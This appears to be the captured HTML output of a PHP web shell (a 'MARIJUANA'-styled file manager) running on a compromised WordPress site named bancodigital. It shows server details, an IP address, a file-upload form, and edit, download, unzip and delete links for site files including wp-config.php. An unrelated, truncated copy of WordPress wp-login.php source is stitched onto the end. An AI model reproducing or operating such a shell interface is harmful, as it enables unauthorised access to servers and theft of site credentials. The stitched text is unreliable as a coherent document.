<!DOCTYPE html>
	<html dir="auto" lang="en-US">

			<link rel="icon" href="//0x5a455553.github.io/MARIJUANA/icon.png" />
			<link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css">

			<script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
			<script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script>
		</head>

		<body>
			<header>
				<div class="y x">
					<a class="ajx" href="atomlib.php">
						NG4R3P
					</a>
				</div>

				<div class="q x w">
					
				</div>
				
			</header>

			<article>
				<div class="i">
					<i class="far fa-hdd"></i>
					Linux backups 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
					<br />

					<i class="far fa-lightbulb"></i> &thinsp;&thinsp;<b>SOFT  :</b> Apache/2.4.18 (Ubuntu) <b>PHP :</b> 7.2.34-8+ubuntu16.04.1+deb.sury.org+1
					<br />

					<i class="far fa-folder"></i>
					
					<a class="ajx" href="?d=2f">/</a><a class="ajx" href="?d=2f766172">var</a>/<a class="ajx" href="?d=2f7661722f777777">www</a>/<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c">bancodigital</a>/
					<br />

				</div>

				<div class="u">
					138.68.56.76 <i class="fas fa-link"></i>
					<br />

					<br />

					<form method="post" enctype="multipart/form-data">
						<label class="l w">
							<input type="file" name="n[]" onchange="this.form.submit()" multiple> &nbsp;UPLOAD
						</label>&nbsp;
					</form>

					
				</div>
					<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th width="44%">[ NAME ]</th>
								<th width="11%">[ SIZE ]</th>
								<th width="17%">[ PERM ]</th>
								<th width="17%">[ DATE ]</th>
								<th width="11%">[ ACT ]</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td>
									<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&n">+FILE</a>
									<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&l">+DIR</a>
								</td>
							</tr>
						<tr class="r">
							<td>
								<i class="far fa-folder m"></i>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c2f2e69646561">.idea</a>
							</td>
							<td class="x">
								dir
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=2e69646561">drwxr-xr-x</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=2e69646561">2020-12-24 10:48</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=2e69646561">R</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=2e69646561">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-folder m"></i>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c2f77702d61646d696e">wp-admin</a>
							</td>
							<td class="x">
								dir
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=77702d61646d696e">drwxr-xr-x</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=77702d61646d696e">2026-07-24 08:13</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=77702d61646d696e">R</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=77702d61646d696e">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-folder m"></i>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c2f77702d636f6e74656e74">wp-content</a>
							</td>
							<td class="x">
								dir
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=77702d636f6e74656e74">drwxr-xr-x</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=77702d636f6e74656e74">2026-07-24 08:13</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=77702d636f6e74656e74">R</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=77702d636f6e74656e74">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-folder m"></i>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c2f77702d696e636c75646573">wp-includes</a>
							</td>
							<td class="x">
								dir
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=77702d696e636c75646573">drwxr-xr-x</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=77702d696e636c75646573">2026-07-24 08:13</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=77702d696e636c75646573">R</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=77702d696e636c75646573">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&s=2e696e6465782e68746d6c2e737770">.index.html.swp</a>
							</td>
							<td class="x">
								1 KB
							</td>
							<td class="x">
								<a class="ajx w" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=2e696e6465782e68746d6c2e737770">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=2e696e6465782e68746d6c2e737770">2026-01-08 17:26</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=2e696e6465782e68746d6c2e737770">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&e=2e696e6465782e68746d6c2e737770">E</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&g=2e696e6465782e68746d6c2e737770">G</a>
								
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=2e696e6465782e68746d6c2e737770">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&s=62616e636f6469676974616c2e7a6970">bancodigital.zip</a>
							</td>
							<td class="x">
								17.98 MB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=62616e636f6469676974616c2e7a6970">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=62616e636f6469676974616c2e7a6970">2020-12-24 11:07</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=62616e636f6469676974616c2e7a6970">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&e=62616e636f6469676974616c2e7a6970">E</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&g=62616e636f6469676974616c2e7a6970">G</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&z=62616e636f6469676974616c2e7a6970">U</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=62616e636f6469676974616c2e7a6970">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&s=696e6465782e706870">index.php</a>
							</td>
							<td class="x">
								0.576 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=696e6465782e706870">-rwxr-xr-x</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=696e6465782e706870">2020-11-25 21:38</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=696e6465782e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&e=696e6465782e706870">E</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&g=696e6465782e706870">G</a>
								
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=696e6465782e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&s=6c6963656e73652e747874">license.txt</a>
							</td>
							<td class="x">
								19.448 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=6c6963656e73652e747874">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=6c6963656e73652e747874">2020-02-12 08:54</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=6c6963656e73652e747874">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&e=6c6963656e73652e747874">E</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&g=6c6963656e73652e747874">G</a>
								
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=6c6963656e73652e747874">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&s=726561646d652e68746d6c">readme.html</a>
							</td>
							<td class="x">
								7.699 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=726561646d652e68746d6c">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=726561646d652e68746d6c">2020-12-09 09:00</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=726561646d652e68746d6c">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&e=726561646d652e68746d6c">E</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&g=726561646d652e68746d6c">G</a>
								
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=726561646d652e68746d6c">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&s=77702d61637469766174652e706870">wp-activate.php</a>
							</td>
							<td class="x">
								6.935 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=77702d61637469766174652e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=77702d61637469766174652e706870">2020-07-28 14:20</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=77702d61637469766174652e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&e=77702d61637469766174652e706870">E</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&g=77702d61637469766174652e706870">G</a>
								
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=77702d61637469766174652e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&s=77702d626c6f672d6865616465722e706870">wp-blog-header.php</a>
							</td>
							<td class="x">
								0.343 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=77702d626c6f672d6865616465722e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=77702d626c6f672d6865616465722e706870">2020-02-06 03:33</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=77702d626c6f672d6865616465722e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&e=77702d626c6f672d6865616465722e706870">E</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&g=77702d626c6f672d6865616465722e706870">G</a>
								
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=77702d626c6f672d6865616465722e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&s=77702d636f6d6d656e74732d706f73742e706870">wp-comments-post.php</a>
							</td>
							<td class="x">
								2.273 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=77702d636f6d6d656e74732d706f73742e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=77702d636f6d6d656e74732d706f73742e706870">2020-10-08 18:15</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=77702d636f6d6d656e74732d706f73742e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&e=77702d636f6d6d656e74732d706f73742e706870">E</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&g=77702d636f6d6d656e74732d706f73742e706870">G</a>
								
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=77702d636f6d6d656e74732d706f73742e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&s=77702d636f6e6669672d73616d706c652e706870">wp-config-sample.php</a>
							</td>
							<td class="x">
								3.029 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=77702d636f6e6669672d73616d706c652e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=77702d636f6e6669672d73616d706c652e706870">2020-12-09 09:00</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=77702d636f6e6669672d73616d706c652e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&e=77702d636f6e6669672d73616d706c652e706870">E</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&g=77702d636f6e6669672d73616d706c652e706870">G</a>
								
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=77702d636f6e6669672d73616d706c652e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&s=77702d636f6e6669672e706870">wp-config.php</a>
							</td>
							<td class="x">
								3.416 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=77702d636f6e6669672e706870">-rwxr-xr-x</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=77702d636f6e6669672e706870">2020-11-24 16:45</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=77702d636f6e6669672e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&e=77702d636f6e6669672e706870">E</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&g=77702d636f6e6669672e706870">G</a>
								
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=77702d636f6e6669672e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&s=77702d63726f6e2e706870">wp-cron.php</a>
							</td>
							<td class="x">
								3.847 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=77702d63726f6e2e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=77702d63726f6e2e706870">2020-07-30 16:14</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=77702d63726f6e2e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&e=77702d63726f6e2e706870">E</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&g=77702d63726f6e2e706870">G</a>
								
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=77702d63726f6e2e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&s=77702d6c696e6b732d6f706d6c2e706870">wp-links-opml.php</a>
							</td>
							<td class="x">
								2.438 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=77702d6c696e6b732d6f706d6c2e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=77702d6c696e6b732d6f706d6c2e706870">2020-02-06 03:33</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=77702d6c696e6b732d6f706d6c2e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&e=77702d6c696e6b732d6f706d6c2e706870">E</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&g=77702d6c696e6b732d6f706d6c2e706870">G</a>
								
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=77702d6c696e6b732d6f706d6c2e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&s=77702d6c6f61642e706870">wp-load.php</a>
							</td>
							<td class="x">
								3.223 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=77702d6c6f61642e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=77702d6c6f61642e706870">2020-02-06 03:33</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=77702d6c6f61642e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&e=77702d6c6f61642e706870">E</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&g=77702d6c6f61642e706870">G</a>
								
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=77702d6c6f61642e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&s=77702d6c6f67696e2e706870">wp-login.php</a>
							</td>
							<td class="x">
								48.663 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=77702d6c6f67696e2e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=77702d6c6f67696e2e706870">2020-11-09 07:53</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=77702d6c6f67696e2e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&e=77702d6c6f67696e2e706870">E</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&g=77702d6c6f67696e2e706870">G</a>
								
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=77702d6c6f67696e2e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&s=77702d6d61696c2e706870">wp-mail.php</a>
							</td>
							<td class="x">
								8.31 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=77702d6d61696c2e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=77702d6d61696c2e706870">2020-04-14 08:32</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=77702d6d61696c2e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&e=77702d6d61696c2e706870">E</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&g=77702d6d61696c2e706870">G</a>
								
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=77702d6d61696c2e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&s=77702d73657474696e67732e706870">wp-settings.php</a>
							</td>
							<td class="x">
								20.483 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=77702d73657474696e67732e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=77702d73657474696e67732e706870">2020-11-12 11:43</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=77702d73657474696e67732e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&e=77702d73657474696e67732e706870">E</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&g=77702d73657474696e67732e706870">G</a>
								
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=77702d73657474696e67732e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&s=77702d7369676e75702e706870">wp-signup.php</a>
							</td>
							<td class="x">
								30.603 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=77702d7369676e75702e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=77702d7369676e75702e706870">2020-09-30 18:54</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=77702d7369676e75702e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&e=77702d7369676e75702e706870">E</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&g=77702d7369676e75702e706870">G</a>
								
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=77702d7369676e75702e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&s=77702d747261636b6261636b2e706870">wp-trackback.php</a>
							</td>
							<td class="x">
								4.636 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=77702d747261636b6261636b2e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=77702d747261636b6261636b2e706870">2020-10-08 18:15</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=77702d747261636b6261636b2e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&e=77702d747261636b6261636b2e706870">E</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&g=77702d747261636b6261636b2e706870">G</a>
								
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=77702d747261636b6261636b2e706870">D</a>
							</td>
						</tr>
						
						<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&s=786d6c7270632e706870">xmlrpc.php</a>
							</td>
							<td class="x">
								3.16 KB
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&k=786d6c7270632e706870">-rw-r--r--</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&t=786d6c7270632e706870">2020-06-08 16:55</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&r=786d6c7270632e706870">R</a>
								<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&e=786d6c7270632e706870">E</a>
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&g=786d6c7270632e706870">G</a>
								
								<a href="?d=2f7661722f7777772f62616e636f6469676974616c&x=786d6c7270632e706870">D</a>
							</td>
						</tr>
						
						</tbody>
						<tfoot>
							<tr>
								<th class="et">
									<a class="ajx" href="?d=2f7661722f7777772f62616e636f6469676974616c&y">REQUEST</a>
									<a href="?d=2f7661722f7777772f62616e636f6469676974616c&q">EXIT</a>
								</th>
								<th class="et" width="11%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="11%"></th>
							</tr>
					</tfoot>
				</table>
			</article>
			<footer class="x">
				
			</footer>
			
			<script>
				$(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})});
			</script>
		</body>
	</html>
<?php
/**
 * WordPress User Page
 *
 * Handles authentication, registering, resetting passwords, forgot password,
 * and other user handling.
 *
 * @package WordPress
 */

/** Make sure that the WordPress bootstrap has run before continuing. */
require __DIR__ . '/wp-load.php';

// Redirect to HTTPS login if forced to use SSL.
if ( force_ssl_admin() && ! is_ssl() ) {
	if ( 0 === strpos( $_SERVER['REQUEST_URI'], 'http' ) ) {
		wp_safe_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) );
		exit;
	} else {
		wp_safe_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
		exit;
	}
}

/**
 * Output the login page header.
 *
 * @since 2.1.0
 *
 * @global string      $error         Login error message set by deprecated pluggable wp_login() function
 *                                    or plugins replacing it.
 * @global bool|string $interim_login Whether interim login modal is being displayed. String 'success'
 *                                    upon successful login.
 * @global string      $action        The action that brought the visitor to the login page.
 *
 * @param string   $title    Optional. WordPress login Page title to display in the `<title>` element.
 *                           Default 'Log In'.
 * @param string   $message  Optional. Message to display in header. Default empty.
 * @param WP_Error $wp_error Optional. The error to pass. Default is a WP_Error instance.
 */
function login_header( $title = 'Log In', $message = '', $wp_error = null ) {
	global $error, $interim_login, $action;

	// Don't index any of these forms.
	add_action( 'login_head', 'wp_sensitive_page_meta' );

	add_action( 'login_head', 'wp_login_viewport_meta' );

	if ( ! is_wp_error( $wp_error ) ) {
		$wp_error = new WP_Error();
	}

	// Shake it!
	$shake_error_codes = array( 'empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password', 'retrieve_password_email_failure' );
	/**
	 * Filters the error codes array for shaking the login form.
	 *
	 * @since 3.0.0
	 *
	 * @param array $shake_error_codes Error codes that shake the login form.
	 */
	$shake_error_codes = apply_filters( 'shake_error_codes', $shake_error_codes );

	if ( $shake_error_codes && $wp_error->has_errors() && in_array( $wp_error->get_error_code(), $shake_error_codes, true ) ) {
		add_action( 'login_footer', 'wp_shake_js', 12 );
	}

	$login_title = get_bloginfo( 'name', 'display' );

	/* translators: Login screen title. 1: Login screen name, 2: Network or site name. */
	$login_title = sprintf( __( '%1$s &lsaquo; %2$s &#8212; WordPress' ), $title, $login_title );

	if ( wp_is_recovery_mode() ) {
		/* translators: %s: Login screen title. */
		$login_title = sprintf( __( 'Recovery Mode &#8212; %s' ), $login_title );
	}

	/**
	 * Filters the title tag content for login page.
	 *
	 * @since 4.9.0
	 *
	 * @param string $login_title The page title, with extra context added.
	 * @param string $title       The original page title.
	 */
	$login_title = apply_filters( 'login_title', $login_title, $title );

	?><!DOCTYPE html>
	<html <?php language_attributes(); ?>>
	<head>
	<meta http-equiv="Content-Type" content="<?php bloginfo( 'html_type' ); ?>; charset=<?php bloginfo( 'charset' ); ?>" />
	<title><?php echo $login_title; ?></title>
	<?php

	wp_enqueue_style( 'login' );

	/*
	 * Remove all stored post data on logging out.
	 * This could be added by add_action('login_head'...) like wp_shake_js(),
	 * but maybe better if it's not removable by plugins.
	 */
	if ( 'loggedout' === $wp_error->get_error_code() ) {
		?>
		<script>if("sessionStorage" in window){try{for(var key in sessionStorage){if(key.indexOf("wp-autosave-")!=-1){sessionStorage.removeItem(key)}}}catch(e){}};</script>
		<?php
	}

	/**
	 * Enqueue scripts and styles for the login page.
	 *
	 * @since 3.1.0
	 */
	do_action( 'login_enqueue_scripts' );

	/**
	 * Fires in the login page header after scripts are enqueued.
	 *
	 * @since 2.1.0
	 */
	do_action( 'login_head' );

	$login_header_url = __( 'https://wordpress.org/' );

	/**
	 * Filters link URL of the header logo above login form.
	 *
	 * @since 2.1.0
	 *
	 * @param string $login_header_url Login header logo URL.
	 */
	$login_header_url = apply_filters( 'login_headerurl', $login_header_url );

	$login_header_title = '';

	/**
	 * Filters the title attribute of the header logo above login form.
	 *
	 * @since 2.1.0
	 * @deprecated 5.2.0 Use {@see 'login_headertext'} instead.
	 *
	 * @param string $login_header_title Login header logo title attribute.
	 */
	$login_header_title = apply_filters_deprecated(
		'login_headertitle',
		array( $login_header_title ),
		'5.2.0',
		'login_headertext',
